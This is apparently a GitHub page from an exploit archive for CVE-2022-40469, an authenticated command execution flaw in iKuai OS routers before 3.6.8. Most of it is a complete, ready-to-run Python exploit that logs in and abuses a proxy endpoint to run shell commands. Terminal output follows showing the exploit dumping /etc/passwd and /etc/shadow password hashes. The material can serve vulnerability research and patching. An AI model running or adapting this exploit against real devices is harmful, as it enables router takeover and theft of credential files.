

[main](#) [exp_and_poc_archive / CVE / CVE-2022-40469 /](#)

yikesoftware update ...

on Oct 9 [History](#)

..



img

2 months ago



README.md

2 months ago



exp.py

2 months ago



README.md

iKuai OS (post-auth) RCE

desc

A post-authentication arbitrary command execution vulnerability exists in the iKuaiOS soft routing system, which allows an attacker to execute arbitrary shell commands via network requests. Since the product does not open the system shell, the command execution could lead to source code disclosure and further infiltration attacks.

version

Before 3.6.8

cve id

CVE-2022-40469

poc

```
python3 exp.py '192.168.10.1' 'admin' 'qwe123!@#' 'uname -a'
```

```
exp.py x index.lua x ikrest.lua x webman.lua x
1'''
2Description: ikuai@_3.0.x RCE vulnerability after login.
3Author: eqqle
4Other: Bypass IKSH to execute arbitrary BASH commands.
5'''
6
7import requests
8import base64
9import hashlib
10import json
11import sys
12
13host = "192.168.10.1"
14username = "admin"
15password = "qwe123!@#"
16command = "cat /etc/passwd"
17
18login_form = {"username": "", "password": "",
19             "pass": "", "remember_password": "true"}
20
21
22def main(host, user, passwd, cmd):
23    login_form["username"] = user
24    login_form["password"] = hashlib.md5(passwd.encode()).hexdigest()
25    login_form["pass"] = base64.b64encode(
26        b"salt_11"+passwd.encode()).decode()
27    session = requests.Session()
28    print(f"[*] Login with '{user}:{passwd}'\n")
29    res = session.post(
30        url=f"http://{host}/Action/login",
31        data=json.dumps(login_form),
32        timeout=(3, 3))
33    if res.json()["Result"] != 10000:
34        raise ValueError("Login fail!")
35    print(f"[*] Run command: '{cmd}'\n")
36    res = session.post(
37        url=f"http://{host}/Action/proxy?http://127.0.0.1:34567/command/file",
38        data=cmd,
39        timeout=(3, 3))
40    print(f"[*] Exec result:\n")
41    print(res.text)
42
43
44
45
46if __name__ == "__main__":
47    if len(sys.argv) != 5:
48        main(host, username, password, command)
49    else:
50        main(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])

```

```
+ ssrf_rce cat ~/.zsh_history | grep 192.168.10.1
+ ssrf_rce python3 exp.py '192.168.10.1' 'admin' 'qwe123!@#' 'cat /etc/passwd'
[*] Login with 'admin:qwe123!@#'

[*] Run command: cat /etc/passwd

[*] Exec result:

root:x:0:0:root:/root:/etc/setup/rc
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
sshd:x:0:0:sshd:/root:/etc/setup/rc

+ ssrf_rce python3 exp.py '192.168.10.1' 'admin' 'qwe123!@#' 'cat /etc/shadow'
[*] Login with 'admin:qwe123!@#'

[*] Run command: cat /etc/shadow

[*] Exec result:

root:$1$9.EU8ItYsZ4EfK4v0.t1aWfaB0R6H5l:17857:0:99999:7:::
sshd:$1$h5BPm6SHSYMKf.J4KbCTLXL/0xYSnt/:19243:0:99999:7:::
daemon:*:0:0:99999:7:::
ftp:*:0:0:99999:7:::
network:*:0:0:99999:7:::
nobody:*:0:0:99999:7:::

+ ssrf_rce python3 exp.py '192.168.10.1' 'admin' 'qwe123!@#' 'uname -a'
[*] Login with 'admin:qwe123!@#'

[*] Run command: uname -a

[*] Exec result:

Linux iKuai 5.10.137 #0 SMP Mon Dec 13 10:43:05 2021 x86_64 GNU/Linux

+ ssrf_rce
```